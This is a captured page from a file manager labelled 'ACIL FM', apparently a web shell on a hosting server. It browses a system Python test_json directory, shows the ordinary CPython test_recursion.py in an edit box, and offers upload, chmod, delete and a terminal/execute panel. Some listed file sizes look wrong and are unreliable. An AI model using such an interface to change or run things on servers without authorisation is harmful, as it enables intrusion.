ACIL FM
Dark
Refresh
Current DIR:
/opt/alt/python313/lib64/python3.13/test/test_json
/
opt
alt
python313
lib64
python3.13
test
test_json
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
__pycache__
-
chmod
Open
Rename
Delete
test_decode.py
5.24 MB
chmod
View
DL
Edit
Rename
Delete
test_default.py
647 B
chmod
View
DL
Edit
Rename
Delete
test_dump.py
2.7 MB
chmod
View
DL
Edit
Rename
Delete
test_encode_basestring_ascii.py
2.17 MB
chmod
View
DL
Edit
Rename
Delete
test_enum.py
3.94 MB
chmod
View
DL
Edit
Rename
Delete
test_fail.py
9.05 MB
chmod
View
DL
Edit
Rename
Delete
test_float.py
1.27 MB
chmod
View
DL
Edit
Rename
Delete
test_indent.py
1.78 MB
chmod
View
DL
Edit
Rename
Delete
test_pass1.py
1.79 MB
chmod
View
DL
Edit
Rename
Delete
test_pass2.py
449 B
chmod
View
DL
Edit
Rename
Delete
test_pass3.py
545 B
chmod
View
DL
Edit
Rename
Delete
test_recursion.py
3.32 MB
chmod
View
DL
Edit
Rename
Delete
test_scanstring.py
4.86 MB
chmod
View
DL
Edit
Rename
Delete
test_separators.py
1.29 MB
chmod
View
DL
Edit
Rename
Delete
test_speedups.py
3.25 MB
chmod
View
DL
Edit
Rename
Delete
test_tool.py
7.37 MB
chmod
View
DL
Edit
Rename
Delete
test_unicode.py
4.2 MB
chmod
View
DL
Edit
Rename
Delete
__init__.py
2.14 MB
chmod
View
DL
Edit
Rename
Delete
__main__.py
71 B
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/alt/python313/lib64/python3.13/test/test_json/test_recursion.py
from test import support from test.test_json import PyTest, CTest class JSONTestObject: pass class TestRecursion: def test_listrecursion(self): x = [] x.append(x) try: self.dumps(x) except ValueError: pass else: self.fail("didn't raise ValueError on list recursion") x = [] y = [x] x.append(y) try: self.dumps(x) except ValueError: pass else: self.fail("didn't raise ValueError on alternating list recursion") y = [] x = [y, y] # ensure that the marker is cleared self.dumps(x) def test_dictrecursion(self): x = {} x["test"] = x try: self.dumps(x) except ValueError: pass else: self.fail("didn't raise ValueError on dict recursion") x = {} y = {"a": x, "b": x} # ensure that the marker is cleared self.dumps(x) def test_defaultrecursion(self): class RecursiveJSONEncoder(self.json.JSONEncoder): recurse = False def default(self, o): if o is JSONTestObject: if self.recurse: return [JSONTestObject] else: return 'JSONTestObject' return self.json.JSONEncoder.default(o) enc = RecursiveJSONEncoder() self.assertEqual(enc.encode(JSONTestObject), '"JSONTestObject"') enc.recurse = True try: enc.encode(JSONTestObject) except ValueError: pass else: self.fail("didn't raise ValueError on default recursion") def test_highly_nested_objects_decoding(self): # test that loading highly-nested objects doesn't segfault when C # accelerations are used. See #12017 with self.assertRaises(RecursionError): with support.infinite_recursion(): self.loads('{"a":' * 100000 + '1' + '}' * 100000) with self.assertRaises(RecursionError): with support.infinite_recursion(): self.loads('{"a":' * 100000 + '[1]' + '}' * 100000) with self.assertRaises(RecursionError): with support.infinite_recursion(): self.loads('[' * 100000 + '1' + ']' * 100000) @support.requires_resource('cpu') def test_highly_nested_objects_encoding(self): # See #12051 l, d = [], {} for x in range(100000): l, d = [l], {'k':d} with self.assertRaises(RecursionError): with support.infinite_recursion(5000): self.dumps(l) with self.assertRaises(RecursionError): with support.infinite_recursion(5000): self.dumps(d) def test_endless_recursion(self): # See #12051 class EndlessJSONEncoder(self.json.JSONEncoder): def default(self, o): """If check_circular is False, this will keep adding another list.""" return [o] with self.assertRaises(RecursionError): with support.infinite_recursion(1000): EndlessJSONEncoder(check_circular=False).encode(5j) class TestPyRecursion(TestRecursion, PyTest): pass class TestCRecursion(TestRecursion, CTest): pass
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply